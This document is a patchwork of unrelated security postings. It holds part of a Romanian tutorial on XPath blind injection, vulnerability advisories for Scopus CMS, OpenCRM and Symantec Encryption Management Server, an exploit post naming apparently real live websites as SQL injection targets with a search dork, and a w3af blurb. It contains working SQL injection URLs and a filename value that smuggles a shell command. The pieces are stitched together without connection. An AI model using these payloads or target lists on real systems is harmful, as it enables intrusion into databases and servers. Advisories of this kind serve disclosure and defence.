substring(//user[position()=1]/child::node()[position()=2]),1,1) = "a" Si in acest caz rezultatul valorii este unu boolean . count() Aceasta functie este aceea care ne permite sa obtinem numarul de noduri in internul structurii . count(//user/child::node()) Si aici putem verifica manual, specificand o valoare si obtinand inca un TRUE sau FALSE . count(//user/child::node()) = 1 Cu aceste trei simple functii, suntem deja in gradul de a explora datele continute de baza de date . Evident procesul de blind injection este lung daca va fii facut manual, dar tool-uri cum ar fii " BurpSuite ", ne permit sa obtinem mult mai rapid rezultate . Prevenire ( Prevention ) Vulnerabilitatile de tip XPath se pot evita intr-un mod analog, ca si in cazul unei SQL injection : Tratand toti input-tii, care previn de la utilizator ca nesiguri si sa aplicam filtre asupra lor . Cand se aplica un filtru input-ului utilizatorului, sa verificam coectitudinea tipului de date, lungimea, formatul si continutul . De exemplu se poate folosii o expresie regulara pentru a controla prezenta tag-uriloe XML si a caracterelor speciale . Intr-o aplicatie " client-server ", sa efectuam controale si pe latura client si pe latura server . Sa facem mereu teste pe aplicatie inanite de a o produce . O alta tehnica buna de prevenire si corectare a vulnerabilitatilor de tip injection este PARAMETRIZAREA . In generam pentru a garanta un nivel de siguranta, este bine sa aplicam filtre urmatoarelor tipuri de caractere : < > / ' = " * ? : ( ) Sursa tutorial

Document Title: =============== Data Source: Scopus CMS - SQL Injection Web Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1436 Release Date: ============= 2015-02-25 Vulnerability Laboratory ID (VL-ID): ==================================== 1436 Common Vulnerability Scoring System: ==================================== 8.9 Abstract Advisory Information: ============================== An independent security team of the vulnerability laboratory discovered a critical sql injection web vulnerability in the official Data Source Scopus Content Management System. Vulnerability Disclosure Timeline: ================================== 2015-02-25: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Critical Technical Details & Description: ================================ A remote sql injection web vulnerability has been discovered in the official Data Source Scopus Content Management System. The vulnerability allows remote attacker to inject own sql commands to compromise the affected database management system. The vulnerability is located in the `w` value of the `countrysearch.php` file. Remote attackers are able to compromise the application & dbms by manipulation of the `w` value in the `countrysearch.php` file. The issue is a classic order by injection. The request method to inject own commands is GET and the issue is located on the applicaiton-side of the service. The security risk of the sql injection vulnerability is estimated as critical with a cvss (common vulnerability scoring system) count of 8.9. Exploitation of the remote sql injection web vulnerability requires no user interaction or privileged web-application user account. Successful exploitation of the remote sql injection results in dbms, web-server and web-application compromise. Request Method(s): [+] GET Vulnerable File(s): [+] countrysearch.php Vulnerable Parameter(s): [+] w Proof of Concept (PoC): ======================= The remote sql injection web vulnerability can be exploited by remote attackers without privileged application user account or user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. PoC: Example http://[localhost]/[PATH]/[FILE].php?w=-[SQL INJECCTION VULNERABILITY]'-- PoC: Demonstration http://www.server.com/countrysearch.php?w=world%27-[SQL INJECCTION VULNERABILITY]'-- Dork(s): inurl:".php?w=" Solution - Fix & Patch: ======================= The vulnerability can be patched by usage of the preapred statement in connection with a secure encode/parse of the w value in the countrysearch.php file. Restrict the w value input and filter by disallowing input of special chars or negative values. Disable php script error(0);! Security Risk: ============== The security risk of the remote sql injection web vulnerability in the countrysearch.php file is estimated as critical. Credits & Authors: ================== [GuardIran Security Team] P0!s0nC0d3 - (http://www.guardiran.org) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. 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Services Affected: OpenCRM from Software Add-ons - Adding Value to Your Business Threat Level: High Severity: High CVSS Severity Score: 8.0 Impact type: Complete confidentiality, integrity and availability violation. Vulnerability: (3) Error-Based SQL Injection Vulnerabilities (2) Time-Based Blind SQL Injection Vulnerabilities Vendor Overview OpenCRM is a Software as a Service (SaaS) Customer Relationship Management solution. A leading OpenCRM software, and a true alternative to Salesforce, and other SaaS hosted CRM providers. Proof of Concept: https://demo.opencrm.co.uk:443/index.php?action=index&module=Calendar&action=setField&curr_row=&field=a ssigned_user_id&mode=list&module=Field&popuptype=&record=1&value='AND(Select%201%20from(selec t%20count(*)%2cconcat((select%20concat(CHAR(52)%2cCHAR(67)%2cCHAR(117)%2cCHAR(112)%2cC HAR(73)%2cCHAR(108)%2cCHAR(88)%2cCHAR(72)%2cCHAR(51)%2cCHAR(52)%2cCHAR(114))%20f rom%20information_schema.tables%20limit%200%2c1)%2cfloor(rand(0)*2))x%20from%20information_sche ma.tables%20group%20by%20x)a)and'&viewid=0 Read more: http://dl.packetstormsecurity.net/1502-exploits/OpenCRM.pdf

Vantage Point Security Advisory 2014-007 ======================================== Title: Symantec Encryption Management Server - Remote Command Injection ID: VP-2014-007 Vendor: Symantec Affected Product: Symantec Encryption Gateway Affected Versions: < 3.2.0 MP6 Product Website: http://www.symantec.com/en/sg/gateway-email-encryption/ Author: Paul Craig <paul[at]vantagepoint[dot]sg Summary: --------- Symantec Gateway Email Encryption provides centrally managed email encryption to secure email communications with customers and partners regardless of whether or not recipients have their own email encryption software. With Gateway Email Encryption, organizations can minimize the risk of a data breach while complying with regulatory mandates for information security and privacy. Details: --------- Remote Command Injection vulnerabilities occur when user supplied input is used directly as a command line argument to a fork(), execv() or a CreateProcessA() function. It was found that the binary /usr/bin/pgpsysconf calls the binary /usr/bin/pgpbackup with unfiltered user supplied input when restoring a Database Backup from the Symantec Encryption Management Web Interface . The user supplied 'filename' value is used directly as a command argument, and can be concatenated to include additional commands with the use of the pipe character. This can allow a lower privileged Administrator to compromise the Encryption Management Server. This is demonstrated below in a snippet from pgpsysconf; .text:08058FEA mov dword ptr [ebx], offset aUsrBinPgpbacku ; "/usr/bin/pgpbackup" .text:08058FF0 cmp [ebp+var_1D], 0 .text:08058FF4 jnz short loc_8059049 .text:08058FF6 mov ecx, 4 .text:08058FFB mov edx, 8 .text:08059000 mov eax, 0Ch .text:08059005 mov dword ptr [ebx+ecx], offset unk_807AE50 .text:0805900C mov [ebx+edx], esi .text:0805900F mov dword ptr [ebx+eax], 0 .text:08059016 call _fork ; Bingo.. An example to exploit this vulnerability and run the ping command can be seen below. POST /omc/uploadBackup.event .... .... Content-Disposition: form-data; name="file"; filename="test123|`ping`|-whatever.tar.gz.pgp" This vulnerability can be further exploited to gain local root access by calling the setuid binary pgpsysconf to install a local package file. Fix Information: --------- Upgrade to Symantec Encryption Management Server 3.3.2 MP7. See http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20150129_00 for more information Timeline: --------- 2014/11/26: Issue Reported. 2015/01/30: Patch Released. About Vantage Point Security: --------- Vantage Point Security is the leading provider for penetration testing and security advisory services in Singapore. Clients in the Financial, Banking and Telecommunications industries select Vantage Point Security based on technical competency and a proven track record to deliver significant and measurable improvements in their security posture. Web: https://www.vantagepoint.sg/ Contact: office[at]vantagepoint[dot]sg Source

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[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] [+] [+]Exploit Title : Invem CMS SQL INJECTION Vulnerability [+] [+]Exploit Author : Ashiyane Digital Security Team [+] [+]Vendor Homepage: http://www.invem.com/ [+] [+]Google Dork : intext:Powered by INVEM. [+] [+]Date : 20 / Jan / 2015 [+] [+]Tested On : windows se7en + linux Kali + Google Chrome + Mozilla [+] [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] [+]~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~ ~ ~~> DEMO <~ ~ ~ [+] [+] http://www.onemart.cc/news_view.php?newsid=124%27 [+] [+] http://www.jcptdc.com/about.php?id=1%27 [+] [+] http://www.plmgroup.cn/news_view.php?newsid=122%27 [+] [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] [+] [+] Discovered by : SeRaVo.BlackHat [+] Hassan [+] [+] [+] ~ General.BlackHat@Gmail.com ~ https://www.facebook.com/general.blackhat [+] [+] ~ Unitazad@YaHoo.com ~ https://twitter.com/strip_ssl [+] [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] [+] [+] MY FRIEND'Z : Unhex.coder + #N3T + Lupin 13 + AMOK + Milad.Hacking + 3cure BlackHat + Dr.3vil [+] Mr.Time + SHD.N3T + MR.M@j!D + eb051 + RAMIN + ACC3SS + X3UR + 4li.BlackHat + IraQeN-H4XORZ [+] Dj.TiniVini + NoL1m1t + l4tr0d3ctism + r3d_s0urc3 + 0x0ptim0us + E1.Coders + MR.F@RDIN [+] 0xTiger + C4T + Predator + S!Y0U.T4r.6T + soheil.hidd3n + Soldier + Spoofer + Cyb3r_Dr4in [+] Net.editor + M3QDAD + M.R.S.CO + Hesam King + Evil Shadow + 3H34N + G3N3Rall + Mr.XHat [+] [+] And All Iranian Cyber Army ...\. [+] Home : Ashiyane.org/Forum [+] [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+] Source : Sites Powered By INVEM SQL Injection ? Packet Storm

w3af, is a Web Application Attack and Audit Framework. The w3af core and it’s plugins are fully written in python, it identifies more than 200 vulnerabilities and reduce your site’s overall risk exposure. Identify vulnerabilities like SQL Injection, Cross-Site Scripting, Guessable credentials, Unhandled application errors and PHP misconfigurations. Download: https://github.com/andresriancho/w3af